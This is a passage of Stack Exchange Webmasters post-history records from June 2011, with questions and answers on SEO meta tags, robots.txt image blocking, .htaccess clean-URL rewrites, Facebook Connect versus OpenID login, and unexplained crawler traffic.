  <row Id="37059" PostHistoryTypeId="1" PostId="15631" RevisionGUID="ab434c96-9123-4147-969e-e66c02defed3" CreationDate="2011-06-21T00:03:42.317" UserId="2907" Text="Facebook connect vs. OpenID" />
  <row Id="37060" PostHistoryTypeId="3" PostId="15631" RevisionGUID="ab434c96-9123-4147-969e-e66c02defed3" CreationDate="2011-06-21T00:03:42.317" UserId="2907" Text="&lt;facebook&gt;&lt;login&gt;&lt;openid&gt;" />
  <row Id="37061" PostHistoryTypeId="25" PostId="15620" RevisionGUID="b57d83bf-24e2-475a-9aa0-c211ce48c09b" CreationDate="2011-06-21T00:24:48.763" Comment="http://twitter.com/#!/StackWebmasters/status/82967165141123073" />
  <row Id="37062" PostHistoryTypeId="25" PostId="15622" RevisionGUID="f9a619e8-db70-41b0-8453-2746427f5f58" CreationDate="2011-06-21T03:24:49.020" Comment="http://twitter.com/#!/StackWebmasters/status/83012464479965184" />
  <row Id="37063" PostHistoryTypeId="2" PostId="15632" RevisionGUID="d03ae8d5-a3a2-43eb-9387-74fba0caf761" CreationDate="2011-06-21T05:07:17.610" UserId="8434" Text="I'm encoutering a problem in one of my sites that most recent keyword of my site is &quot;jpg&quot;. I'm using Joomla 1.5.9 and phoca for gallery. How to prevent image extenstions to be indexed by robots?&#xD;&#xA;&#xD;&#xA;BTW: respective gallery folders are blocked in robots" />
  <row Id="37064" PostHistoryTypeId="1" PostId="15632" RevisionGUID="d03ae8d5-a3a2-43eb-9387-74fba0caf761" CreationDate="2011-06-21T05:07:17.610" UserId="8434" Text="Joomla + phoca SEO issues" />
  <row Id="37065" PostHistoryTypeId="3" PostId="15632" RevisionGUID="d03ae8d5-a3a2-43eb-9387-74fba0caf761" CreationDate="2011-06-21T05:07:17.610" UserId="8434" Text="&lt;seo&gt;&lt;joomla&gt;&lt;photo-gallery&gt;" />
  <row Id="37066" PostHistoryTypeId="2" PostId="15633" RevisionGUID="c1fe6f0f-7ded-4c13-b565-a98f30d61eab" CreationDate="2011-06-21T05:49:00.523" UserId="8435" Text="You must register both. It will help you to verify your preferred domain and also will help to monitor both domains." />
  <row Id="37067" PostHistoryTypeId="2" PostId="15634" RevisionGUID="deb6923e-95e1-4866-87e9-2e173c91d6c7" CreationDate="2011-06-21T05:58:08.873" UserId="8435" Text="You must try Google webmaster tools. It will give you deep details considered by G only." />
  <row Id="37068" PostHistoryTypeId="17" PostId="15635" RevisionGUID="0f0d1636-4f4a-4ba5-b36a-008793b6b7c2" CreationDate="2011-06-21T06:21:43.063" UserId="-1" Comment="from http://stackoverflow.com/questions/6417396/will-php-meta-hurt-seo" Text="" />
  <row Id="37069" PostHistoryTypeId="17" PostId="15636" RevisionGUID="a892b935-bc9b-4eb6-8df9-dfd647235cba" CreationDate="2011-06-21T06:21:43.063" UserId="-1" Comment="from http://stackoverflow.com/questions/6417396/will-php-meta-hurt-seo" Text="" />
  <row Id="37070" PostHistoryTypeId="17" PostId="15637" RevisionGUID="c41b3428-d03f-45ed-b339-5e2035ecb4f1" CreationDate="2011-06-21T06:21:43.063" UserId="-1" Comment="from http://stackoverflow.com/questions/6417396/will-php-meta-hurt-seo" Text="" />
  <row Id="37071" PostHistoryTypeId="17" PostId="15638" RevisionGUID="8da41fc2-438d-4ec0-9076-c75419b3c4f8" CreationDate="2011-06-21T06:21:43.063" UserId="-1" Comment="from http://stackoverflow.com/questions/6417396/will-php-meta-hurt-seo" Text="" />
  <row Id="37072" PostHistoryTypeId="2" PostId="15636" RevisionGUID="f2aa25f3-38a9-478f-bcd0-85d21b25d13e" CreationDate="2011-06-20T20:57:43.040" UserDisplayName="Jrod" Text="PHP is performed on the serverside.  Therefore it takes place before bots see the page so it has no affect on the SEO." />
  <row Id="37073" PostHistoryTypeId="2" PostId="15638" RevisionGUID="93e0ca22-b383-4231-a845-ec3dbb461240" CreationDate="2011-06-20T20:58:53.143" UserDisplayName="matsko" Text="It won't matter since the information that the bots will pickup will be after the PHP code has printed out the statements into the HTML document. The keyword meta values themselves are kinda outdated so they won't be used much in regards to Searching Engine criteria." />
  <row Id="37074" PostHistoryTypeId="2" PostId="15637" RevisionGUID="af1dd6ff-180f-4751-a2f5-05230690b2a8" CreationDate="2011-06-20T20:57:52.963" UserDisplayName="Frits van Campen" Text="Most bots don't look at keywords and descriptions. I know for fact Google doesn't." />
  <row Id="37075" PostHistoryTypeId="2" PostId="15635" RevisionGUID="635374f8-aff7-44f8-a17a-12ccb342b81b" CreationDate="2011-06-20T20:55:58.520" UserId="9355" UserDisplayName="Howdy_McGee" Text="If I use PHP to place my meta tags such as keywords and descriptions will that hurt SEO? Will the bots not be able to crawl through the keywords and descriptions? " />
  <row Id="37076" PostHistoryTypeId="1" PostId="15635" RevisionGUID="635374f8-aff7-44f8-a17a-12ccb342b81b" CreationDate="2011-06-20T20:55:58.520" UserId="9355" UserDisplayName="Howdy_McGee" Text="Will PHP Meta hurt SEO?" />
  <row Id="37077" PostHistoryTypeId="3" PostId="15635" RevisionGUID="635374f8-aff7-44f8-a17a-12ccb342b81b" CreationDate="2011-06-20T20:55:58.520" UserId="9355" UserDisplayName="Howdy_McGee" Text="&lt;php&gt;&lt;websites&gt;&lt;seo&gt;&lt;meta&gt;" />
  <row Id="37078" PostHistoryTypeId="25" PostId="15601" RevisionGUID="b6e34606-dae9-4464-95c5-db4e1be1caa1" CreationDate="2011-06-21T06:24:49.497" Comment="http://twitter.com/#!/StackWebmasters/status/83057764913516544" />
  <row Id="37079" PostHistoryTypeId="17" PostId="15639" RevisionGUID="108f1e16-3a27-4a66-9478-62878ac0ab75" CreationDate="2011-06-21T07:19:49.997" UserId="-1" Comment="from http://stackoverflow.com/questions/6419246/clean-urls-using-htaccess" Text="" />
  <row Id="37080" PostHistoryTypeId="17" PostId="15640" RevisionGUID="e1bb95a0-39c9-44ff-836f-a2436402bf5a" CreationDate="2011-06-21T07:19:49.997" UserId="-1" Comment="from http://stackoverflow.com/questions/6419246/clean-urls-using-htaccess" Text="" />
  <row Id="37081" PostHistoryTypeId="17" PostId="15641" RevisionGUID="97050ed3-a5c4-4fe7-a958-3bd2e0545b77" CreationDate="2011-06-21T07:19:49.997" UserId="-1" Comment="from http://stackoverflow.com/questions/6419246/clean-urls-using-htaccess" Text="" />
  <row Id="37082" PostHistoryTypeId="2" PostId="15640" RevisionGUID="7ba6051d-7fcb-4a03-acc2-8eaff5bcffe1" CreationDate="2011-06-21T01:12:34.707" UserDisplayName="BinaryTox1n" Text="You urls don't really make sense to me, but here is some code that i think looks like what you want to do.&#xD;&#xA;&#xD;&#xA;    Options +FollowSymlinks&#xD;&#xA;    RewriteEngine on&#xD;&#xA;&#xD;&#xA;    RewriteRule ^latestnews/([^/]+) /index.php?nid=$1" />
  <row Id="37083" PostHistoryTypeId="2" PostId="15641" RevisionGUID="99b02181-195d-4c75-9d42-07c207228366" CreationDate="2011-06-21T01:16:44.600" UserDisplayName="user519575" Text="Have you actually tested this? It should work how you want it to - your server shouldn't be returning a 301 or 302 to redirect the user to the new URL. I have the following .htaccess for a cakePHP application and it appends everything after the domain to 'index.php?url=' if the requested file doesn't exist.&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;        RewriteEngine On&#xD;&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;        RewriteRule ^(.*)$ index.php?url=$1 [QSA,L]&#xD;&#xA;    &lt;/IfModule&gt;" />
  <row Id="37084" PostHistoryTypeId="2" PostId="15639" RevisionGUID="683983be-1e94-40fa-a552-87a37bc4666c" CreationDate="2011-06-21T01:01:36.747" UserDisplayName="Napster" Text="I am trying to implement clean urls using .htaccess. &#xD;&#xA;&#xD;&#xA;Basically after searching for some time I found out this code &#xD;&#xA;&#xD;&#xA;    RewriteRule latestnews/([a-zA-Z0-9]+)/$ http://thinkmovie.in/index.php/latestnews/?nid=$1 [L]&#xD;&#xA;    RewriteRule latestnews/([a-zA-Z0-9]+)$ http://thinkmovie.in/index.php/latestnews/?nid=$1 [L]&#xD;&#xA;&#xD;&#xA;so when I try to access the following url&#xD;&#xA;&#xD;&#xA;    http://thinkmovie.in/index.php/latestnews/272&#xD;&#xA;it redirects to&#xD;&#xA; &#xD;&#xA;    http://thinkmovie.in/index.php/latestnews?nid=272&#xD;&#xA;But what I want is to retain the url in the browsers address bar as &#xD;&#xA;&#xD;&#xA;     http://thinkmovie.in/index.php/latestnews/272&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37085" PostHistoryTypeId="1" PostId="15639" RevisionGUID="683983be-1e94-40fa-a552-87a37bc4666c" CreationDate="2011-06-21T01:01:36.747" UserDisplayName="Napster" Text="clean urls using .htaccess" />
  <row Id="37086" PostHistoryTypeId="3" PostId="15639" RevisionGUID="683983be-1e94-40fa-a552-87a37bc4666c" CreationDate="2011-06-21T01:01:36.747" UserDisplayName="Napster" Text="&lt;htaccess&gt;&lt;clean-urls&gt;" />
  <row Id="37087" PostHistoryTypeId="2" PostId="15642" RevisionGUID="2422f523-3eed-49c2-ab93-b6eea54a6395" CreationDate="2011-06-21T07:32:50.990" UserId="4879" Text="Let me show you what I mean:&#xD;&#xA;&#xD;&#xA;    IP               Pages   Hits    Bandwidth&#xD;&#xA;    85.xx.xx.xxx     236     236     735.00 KB&#xD;&#xA;    195.xx.xxx.xx    164     164     533.74 KB&#xD;&#xA;    95.xxx.xxx.xxx   90      90      293.47 KB&#xD;&#xA;&#xD;&#xA;It's very clear that these person are crawling my site with bots.  There's no way that you could visit my site and use &lt;1MB bandwidth.  You might say that there's the possibility that they could be browsing the site using some browser or plug-in that does not download images, js/css files, etc., but the simple fact of the matter is that there are not 90-236 pages that are linked from the home page (outside of WP files), even if you visited every page twice.&#xD;&#xA;&#xD;&#xA;I could understand if these people were crawling the site for pictures, but once again, the bandwidth indicates that this isn't what is happening.  Why, then, would they crawl the site to simply view the HTML/txt/js/etc. files?&#xD;&#xA;&#xD;&#xA;The only thing that I can come up with is that they are scanning for outdated versions of WordPress, SQL injection vulnerabilities, etc., which makes me inclined to outright ban the IPs, but I'm curious, is it possible that this person is a legitimate user, or at the very least, not intending to be harmful?" />
  <row Id="37088" PostHistoryTypeId="1" PostId="15642" RevisionGUID="2422f523-3eed-49c2-ab93-b6eea54a6395" CreationDate="2011-06-21T07:32:50.990" UserId="4879" Text="Why do people crawl sites without downloading pictures?" />
  <row Id="37089" PostHistoryTypeId="3" PostId="15642" RevisionGUID="2422f523-3eed-49c2-ab93-b6eea54a6395" CreationDate="2011-06-21T07:32:50.990" UserId="4879" Text="&lt;crawling&gt;" />
  <row Id="37090" PostHistoryTypeId="2" PostId="15643" RevisionGUID="4043c3bc-6baa-49eb-9573-45e2b0a2b188" CreationDate="2011-06-21T08:02:26.327" UserId="8436" Text="Here is what I do:&#xD;&#xA;&#xD;&#xA;When the admin of a website i'm creating adds a new 'news' item to his website, it directly posts the same item on the Facebook 'fanpage' of the website. This is done by an Facebook app with the permissions to post an item on the Facebook fanpage. So far so good. I'm getting the new post id from the facebook graph.&#xD;&#xA;&#xD;&#xA;Here is what I want to achieve:&#xD;&#xA;I'm adding a 'like' button on the original website, but when this is clicked it should be referenced to the same post item on the facebook page. So if someone likes the news post on the website he should also like the referencing facebook feed post. Which is exactly the same.&#xD;&#xA;&#xD;&#xA;Can this be done?&#xD;&#xA;&#xD;&#xA;I've been playing around with the href etc of the like button, without any success. When I hit the like button it likes the url given, but is doesn't recognizes that this is a feed post.&#xD;&#xA;&#xD;&#xA;Any idea?&#xD;&#xA;&#xD;&#xA;Thx in advance.&#xD;&#xA;" />
  <row Id="37091" PostHistoryTypeId="1" PostId="15643" RevisionGUID="4043c3bc-6baa-49eb-9573-45e2b0a2b188" CreationDate="2011-06-21T08:02:26.327" UserId="8436" Text="Facebook like button for a Facebook feed item" />
  <row Id="37092" PostHistoryTypeId="3" PostId="15643" RevisionGUID="4043c3bc-6baa-49eb-9573-45e2b0a2b188" CreationDate="2011-06-21T08:02:26.327" UserId="8436" Text="&lt;facebook&gt;&lt;facebook-graph&gt;&lt;like&gt;" />
  <row Id="37093" PostHistoryTypeId="2" PostId="15644" RevisionGUID="4182639a-8470-48cc-9420-bd1abd09842f" CreationDate="2011-06-21T08:35:41.540" UserId="7198" Text="[Magento](http://www.magentocommerce.com/) is fast becoming the favoured open source e-commerce platform. (eBay recently acquired it, but don't let that put you off.) All versions, including the free Community Edition are still licensed under [OSL-3.0](http://opensource.org/licenses/osl-3.0.php) and they also offer a paid Enterprise Edition (compare editions [here](http://www.magentocommerce.com/product/compare)) as well as a [hosted version.](http://www.magentocommerce.com/go/)&#xD;&#xA;&#xD;&#xA;The Magento API is documented [here,](http://www.magentocommerce.com/support/magento_core_api) and the [create your own API](http://www.magentocommerce.com/wiki/doc/webservices-api/custom-api) feature allows you to build a custom API to expose as a webservice to third-parties. System requirements (Linux, PHP, MySQL, Apache) are detailed [here.](http://www.magentocommerce.com/system-requirements)" />
  <row Id="37094" PostHistoryTypeId="2" PostId="15645" RevisionGUID="92f328ee-6e39-463d-8f90-e1d775d4b1bb" CreationDate="2011-06-21T09:05:25.590" UserId="1643" Text="Not all robots obey the robots.txt file. You could password protect the galler folder and then put the password on your home page, so that humans can read it and get in. You could use javascript to create the links to the gallery folders. However now that they've been crawled it will take a while for the robots to stop trying to access them, and remove the pages from their indices." />
  <row Id="37095" PostHistoryTypeId="2" PostId="15646" RevisionGUID="954de7c8-ddf6-41aa-83b3-e34f7321ac28" CreationDate="2011-06-21T09:11:31.937" UserId="8147" Text="Some bots simply crawl just sites to index content. They're trying to do something like Google crawler and they do try it on your site. Or they do download it with &#xD;&#xA;&#xD;&#xA;    file_get_contents(&quot;yoursite&quot;);&#xD;&#xA;&#xD;&#xA;and similar methods which do not retreive images/css/js" />
  <row Id="37096" PostHistoryTypeId="25" PostId="15642" RevisionGUID="9e134506-9a7f-4506-a56b-c1cf406faa16" CreationDate="2011-06-21T09:24:48.270" Comment="http://twitter.com/#!/StackWebmasters/status/83103060251000833" />
  <row Id="37097" PostHistoryTypeId="2" PostId="15647" RevisionGUID="0e36cfa4-3e2f-485a-86de-2b6be824f232" CreationDate="2011-06-21T09:27:08.600" UserId="7198" Text="From Google Webmaster Central's [&quot;Prevent your images appearing in Google search results&quot;:](http://www.google.com/support/webmasters/bin/answer.py?answer=35308)&#xD;&#xA;&#xD;&#xA;&gt; To remove all the images on your site&#xD;&#xA;&gt; from our index, place the following&#xD;&#xA;&gt; robots.txt file in your server root:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     User-agent: Googlebot-Image&#xD;&#xA;&gt;     Disallow: /&#xD;&#xA;&#xD;&#xA;If you wanted to block specific image types from Google, you could use this:&#xD;&#xA;&#xD;&#xA;    User-agent: Googlebot&#xD;&#xA;    Disallow: /*.jpg$&#xD;&#xA;    Disallow: /*.jpeg$&#xD;&#xA;&#xD;&#xA;Other search engines don't offer such control, but most will will honour robots.txt files, so blocking directories of images (i.e. the gallery URL **and**  the directory storing the images) is the way to go.&#xD;&#xA;&#xD;&#xA;You may also wish to [disable hotlinking of images](http://webmasters.stackexchange.com/questions/10838/how-is-anti-hotlinking-done) to prevent people linking to your image files directly from other websites, which could cause them to be picked up by Google et al.&#xD;&#xA;&#xD;&#xA;If you've done all that and you're still seeing your images in Google's results, you might like to check that the robots.txt file is in your root directory, and that it's publicly accessible in your browser." />
  <row Id="37098" PostHistoryTypeId="5" PostId="15632" RevisionGUID="8b18b86a-3fd6-4fb0-b2ac-a51cdb586242" CreationDate="2011-06-21T09:27:15.663" UserId="1643" Comment="added 26 characters in body" Text="I'm encoutering a problem in one of my sites that most recent keyword of my site is &quot;jpg&quot; in Google Webmaster tools. I'm using Joomla 1.5.9 and phoca for gallery. How to prevent image extenstions to be indexed by robots?&#xD;&#xA;&#xD;&#xA;BTW: respective gallery folders are blocked in robots" />
  <row Id="37099" PostHistoryTypeId="5" PostId="15645" RevisionGUID="59cd27ef-107b-489c-a5e5-08e9a50c8c1e" CreationDate="2011-06-21T09:28:56.940" UserId="1643" Comment="added 6 characters in body" Text="The keyword may appear in links to your site. You could password protect the gallery folder and then put the password on your home page, so that humans can read it and get in. You could use javascript to create the links to the gallery folders. However now that they've been crawled it will take a while for the robots to stop trying to access them, and remove the pages from their indices." />
  <row Id="37100" PostHistoryTypeId="2" PostId="15648" RevisionGUID="f037b1db-fe42-4870-8a20-64c5f891b05c" CreationDate="2011-06-21T10:25:38.157" UserId="1643" Text="There's a good discussion of the pros and cons of Facebook or OpenID here:&#xD;&#xA;http://webmasters.stackexchange.com/questions/2196/should-i-support-facebook-login-or-openid-login&#xD;&#xA;&#xD;&#xA;Both Facebook and OpenID allow the passing of extra information - e.g., see this Facebook article:&#xD;&#xA;http://developers.facebook.com/docs/plugins/registration/&#xD;&#xA;&#xD;&#xA;That plugin will also allow you to use your own registration system too.&#xD;&#xA;&#xD;&#xA;If you use one or the other, or both, forgotten passwords are not your problem, but are dealt with via Facebook or the OpenID provider.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37101" PostHistoryTypeId="5" PostId="15614" RevisionGUID="ec8b2152-ffa4-4da3-829e-63b7ab97afac" CreationDate="2011-06-21T10:32:23.443" UserId="3610" Comment="added 149 characters in body; added 22 characters in body" Text="I managed to find a nice domain for a fairly fledgling site of mine that actually hasn't been parked by scumbag squatters. Given the upcoming move I'm thinking I'd take the opportunity to split the content across subdomains according to language, much like wikipedia for example:&#xD;&#xA;&#xD;&#xA;    current:&#xD;&#xA;    www.old-domain.com/en/subject  # English   &#xD;&#xA;    www.old-domain.com/subjecto    # Spanish (default so not locale in url)&#xD;&#xA;    &#xD;&#xA;    proposed&#xD;&#xA;    en.new-domain.com/subject&#xD;&#xA;    es.new-domain.com/subjecto&#xD;&#xA;&#xD;&#xA;The advantage of doing this is a fairly competitive keyword such that I may wish to put a copy of my application on a Spanish slice in order to gain a few serp's. Also pure vanity. &#xD;&#xA;&#xD;&#xA;Google's webmaster tools allows me to move to the new domain and I can add the root domain and the subdomains but forward to only one. I'll 301 from the old domain appropriately but is there anything I should know about webmaster tools in this respect where effectively I'm moving to two addresses?&#xD;&#xA;&#xD;&#xA;(Feel free to dissuade me from doing this if it's a bad idea in comments.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've now asked this same [question][1] on google's forums.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=3d4e425f24dacaaa&amp;hl=en" />
  <row Id="37102" PostHistoryTypeId="5" PostId="15613" RevisionGUID="31d99ff7-3658-4c80-b330-1f5edddd368c" CreationDate="2011-06-21T11:18:56.663" UserId="8392" Comment="Forgot to add link! Doh" Text="I have found this software quite useful in the past. Install it as an app on windows and it allows your to view sites in IE from 5.5 to the latest :)&#xD;&#xA;&#xD;&#xA;EDIT: http://www.my-debugbar.com/wiki/IETester/HomePage" />
  <row Id="37103" PostHistoryTypeId="5" PostId="15614" RevisionGUID="d7e90773-767d-4143-b30f-281289be4857" CreationDate="2011-06-21T11:51:33.617" UserId="3610" Comment="added 333 characters in body" Text="I managed to find a nice domain for a fairly fledgling site of mine that actually hasn't been parked by scumbag squatters. Given the upcoming move I'm thinking I'd take the opportunity to split the content across subdomains according to language, much like wikipedia for example:&#xD;&#xA;&#xD;&#xA;    current:&#xD;&#xA;    www.old-domain.com/en/subject  # English   &#xD;&#xA;    www.old-domain.com/subjecto    # Spanish (default so not locale in url)&#xD;&#xA;    &#xD;&#xA;    proposed&#xD;&#xA;    en.new-domain.com/subject&#xD;&#xA;    es.new-domain.com/subjecto&#xD;&#xA;&#xD;&#xA;The advantage of doing this is a fairly competitive keyword such that I may wish to put a copy of my application on a Spanish slice in order to gain a few serp's. Also pure vanity. &#xD;&#xA;&#xD;&#xA;Google's webmaster tools allows me to move to the new domain and I can add the root domain and the subdomains but forward to only one. I'll 301 from the old domain appropriately but is there anything I should know about webmaster tools in this respect where effectively I'm moving to two addresses?&#xD;&#xA;&#xD;&#xA;(Feel free to dissuade me from doing this if it's a bad idea in comments.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've now asked this same [question][1] on google's forums.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Debating this further, another possible advantage of this is having distinct facebook and twitter pages for each language. It's difficult to use social media across a multilingual site because you are either alienating some of your users by posting in one language or having messy feeds by posting in two languages.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=3d4e425f24dacaaa&amp;hl=en" />
  <row Id="37107" PostHistoryTypeId="5" PostId="15530" RevisionGUID="cbba7265-6634-4b00-af05-b02639ff112f" CreationDate="2011-06-21T12:11:50.253" UserId="8390" Comment="added 377 characters in body; added 1 characters in body" Text="I have recently made a simple (pure HTML) website. The most important key phrase that I want to capture is &quot;full reserve banking&quot;. Currently, if I type &quot;full reserve banking&quot; (without quotes) into google, then my site appears as the 7th item on the first page. I am reasonably happy with this as the site is so new. But one frustration is that the text that google displays in relation to my site is rather misleading. The main message I would like to get across is that my site is &quot;A collection of resources for anyone interested in this alternative monetary system.&quot; and I have this as the first line of text on the page. Unfortunately, this important sentence is nowhere to be seen in the google search result. So my question is - is there anything I can do to fix this error?&#xD;&#xA;&#xD;&#xA;**Edit:** I noticed that someone edited this question to remove the name of the website. I was very keen to leave it in because being able to look at it makes it far easier to diagnose what I did wrong. Indeed the answer suggested by &quot;Su&quot; clearly shows that they looked at my website and analyzed what it was doing which helped them give a clearer answer. If I am breaking some policy by including the name then please explain what this policy is in a comment.&#xD;&#xA;&#xD;&#xA;**Edit:** I have now made a series of changes to my meta descriptions as inspired by the answers given here. On the homepage I now have the text:&#xD;&#xA;&#xD;&#xA;    &lt;META NAME=&quot;description&quot; CONTENT=&quot;A collection of resources for anyone &#xD;&#xA;    interested in Full Reserve Banking. What it is, how it works, &#xD;&#xA;    web resources, organisations, research papers etc.&quot;&gt;&#xD;&#xA;&#xD;&#xA;I am now very excited to see what will happen after the next visit by the google robots.&#xD;&#xA;&#xD;&#xA;**Edit:** Result! I just did a google search for &quot;full reserve banking&quot;, and the text that appeared was:&#xD;&#xA;&#xD;&#xA;      Full Reserve Banking: The definitive resource.&#xD;&#xA;      A collection of resources for anyone interested in Full Reserve Banking. What it is,&#xD;&#xA;      how it works, web resources, organisations, research papers etc.&#xD;&#xA;      www.fullreservebanking.com/ - Cached&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="37108" PostHistoryTypeId="5" PostId="15530" RevisionGUID="7e640c08-a645-476d-8b76-c35a601e9c20" CreationDate="2011-06-21T12:18:03.510" UserId="8390" Comment="added 253 characters in body" Text="I have recently made a simple (pure HTML) website. The most important key phrase that I want to capture is &quot;full reserve banking&quot;. Currently, if I type &quot;full reserve banking&quot; (without quotes) into google, then my site appears as the 7th item on the first page. I am reasonably happy with this as the site is so new. But one frustration is that the text that google displays in relation to my site is rather misleading. The main message I would like to get across is that my site is &quot;A collection of resources for anyone interested in this alternative monetary system.&quot; and I have this as the first line of text on the page. Unfortunately, this important sentence is nowhere to be seen in the google search result. So my question is - is there anything I can do to fix this error?&#xD;&#xA;&#xD;&#xA;**Edit:** I noticed that someone edited this question to remove the name of the website. I was very keen to leave it in because being able to look at it makes it far easier to diagnose what I did wrong. Indeed the answer suggested by &quot;Su&quot; clearly shows that they looked at my website and analyzed what it was doing which helped them give a clearer answer. If I am breaking some policy by including the name then please explain what this policy is in a comment.&#xD;&#xA;&#xD;&#xA;**Edit:** I have now made a series of changes to my meta descriptions as inspired by the answers given here. On the homepage I now have the text:&#xD;&#xA;&#xD;&#xA;    &lt;META NAME=&quot;description&quot; CONTENT=&quot;A collection of resources for anyone &#xD;&#xA;    interested in Full Reserve Banking. What it is, how it works, &#xD;&#xA;    web resources, organisations, research papers etc.&quot;&gt;&#xD;&#xA;&#xD;&#xA;I am now very excited to see what will happen after the next visit by the google robots.&#xD;&#xA;&#xD;&#xA;**Edit:** Result! I just did a google search for &quot;full reserve banking&quot;, and the text that appeared was:&#xD;&#xA;&#xD;&#xA;      Full Reserve Banking: The definitive resource.&#xD;&#xA;      A collection of resources for anyone interested in Full Reserve Banking. What it is,&#xD;&#xA;      how it works, web resources, organisations, research papers etc.&#xD;&#xA;      www.fullreservebanking.com/ - Cached&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;By the way, I **did** originally have a meta description - but it was too short, it just said &quot;full reserve banking&quot;. Google obviously assumed this was too little and so chose to use its own algorithms to cook up a different sentence from the main text." />
  <row Id="37109" PostHistoryTypeId="25" PostId="15631" RevisionGUID="2fba75a5-4a82-4f44-ae6b-33cac4b6a4ee" CreationDate="2011-06-21T12:24:48.367" Comment="http://twitter.com/#!/StackWebmasters/status/83148359233314817" />
  <row Id="37110" PostHistoryTypeId="2" PostId="15649" RevisionGUID="fd3a39e1-3e74-4762-8c7d-4f0d29ce2b60" CreationDate="2011-06-21T12:39:39.090" UserId="7198" Text="###The best approach is a combined one&#xD;&#xA;Using *only* Facebook Connect alienates those without a Facebook account.&#xD;&#xA;&#xD;&#xA;Using *only* OpenID alienates those who don't understand OpenID (i.e. most non-technical folk).&#xD;&#xA;&#xD;&#xA;Using *only* a simple username/password login system alienates those who don't like to keep separate usernames and passwords for each and every site, or who've long given up filling forms and registering for services the 'traditional' (slow) way.&#xD;&#xA;&#xD;&#xA;So it makes sense to offer Facebook Connect *and* OpenID *and* a regular username and password -style login system whenever you can if you want to increase likely sign ups.&#xD;&#xA;&#xD;&#xA;###Third-party services can make implementation easier&#xD;&#xA;To implement this without losing hair, I suggest a service such as [Engage](http://www.janrain.com/products/engage) from Janrain or [Social Login](http://www.gigya.com/public/Platform/social-login.aspx) from Gigya, who both offer social login systems that work alongside vanilla username/password ones. You need not be familiar with OpenID or Facebook Connect -- Engage does that for you and provides a plug-and-pray-style interface for you to add to your site.&#xD;&#xA;&#xD;&#xA;###Accounts are managed externally&#xD;&#xA;As Paul rightly says, the social service or OpenID provider deals with forgotten passwords -- you're 'borrowing' their login system to add a user to your site, but the account management for the user still occurs on the third-party site. If a user changes their password on Facebook, for example, they need not do anything on your site; they just login via Facebook again and they're logged in on your service too (and everywhere else that uses Facebook Connect).&#xD;&#xA;&#xD;&#xA;###Profile information is shared with you&#xD;&#xA;When a user signs up on your site via a third-party service (e.g. Facebook) you can pull in data from the user's profile on that service to store in your own database, for example. The data you have access to depends on the user's privacy settings and the service. Janrain have a [full list of profile data](https://rpxnow.com/docs/providers) that you get access to depending upon who the user signs up with." />
  <row Id="37111" PostHistoryTypeId="5" PostId="15614" RevisionGUID="08959ce1-a338-470b-b14b-570564171289" CreationDate="2011-06-21T12:40:13.593" UserId="3610" Comment="deleted 10 characters in body" Text="I managed to find a nice domain for a fairly fledgling site of mine that actually hasn't been parked by scumbag squatters. Given the upcoming move I'm thinking I'd take the opportunity to split the content across subdomains according to language, much like wikipedia for example:&#xD;&#xA;&#xD;&#xA;    current:&#xD;&#xA;    www.old-domain.com/en/subject  # English   &#xD;&#xA;    www.old-domain.com/subjecto    # Spanish (default so not locale in url)&#xD;&#xA;    &#xD;&#xA;    proposed&#xD;&#xA;    en.new-domain.com/subject&#xD;&#xA;    es.new-domain.com/subjecto&#xD;&#xA;&#xD;&#xA;The advantage of doing this is a fairly competitive keyword such that I may wish to put a copy of my application on a Spanish slice in order to gain a few serp's. Also pure vanity. &#xD;&#xA;&#xD;&#xA;Google's webmaster tools allows me to move to the new domain and I can add the root domain and the subdomains but forward to only one. I'll 301 from the old domain appropriately but is there anything I should know about webmaster tools in this respect where effectively I'm moving to two addresses?&#xD;&#xA;&#xD;&#xA;(Feel free to dissuade me from doing this if it's a bad idea in comments.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've now asked this same [question][1] on google's forums.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Debating this further, another possible advantage of this is having distinct facebook and twitter pages for each language. It's difficult to use social media across a multilingual site because you are either alienating some of your users by posting in one language or having messy feeds by posting in two.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/forum/p/Webmasters/thread?tid=3d4e425f24dacaaa&amp;hl=en" />
  <row Id="37112" PostHistoryTypeId="5" PostId="15614" RevisionGUID="5bbee15d-b7dc-49ff-8498-96268f8be17c" CreationDate="2011-06-21T12:50:10.717" UserId="3610" Comment="deleted 321 characters in body" Text="I managed to find a nice domain for a fairly fledgling site of mine that actually hasn't been parked by scumbag squatters. Given the upcoming move I'm thinking I'd take the opportunity to split the content across subdomains according to language, much like wikipedia for example:&#xD;&#xA;&#xD;&#xA;    current:&#xD;&#xA;    www.old-domain.com/en/subject  # English   &#xD;&#xA;    www.old-domain.com/subjecto    # Spanish (default so not locale in url)&#xD;&#xA;    &#xD;&#xA;    proposed&#xD;&#xA;    en.new-domain.com/subject&#xD;&#xA;    es.new-domain.com/subjecto&#xD;&#xA;&#xD;&#xA;The advantage of doing this is a fairly competitive keyword such that I may wish to put a copy of my application on a Spanish slice in order to gain a few serp's. Also pure vanity. &#xD;&#xA;&#xD;&#xA;Google's webmaster tools allows me to move to the new domain and I can add the root domain and the subdomains but forward to only one. I'll 301 from the old domain appropriately but is there anything I should know about webmaster tools in this respect where effectively I'm moving to two addresses?&#xD;&#xA;&#xD;&#xA;(Feel free to dissuade me from doing this if it's a bad idea in 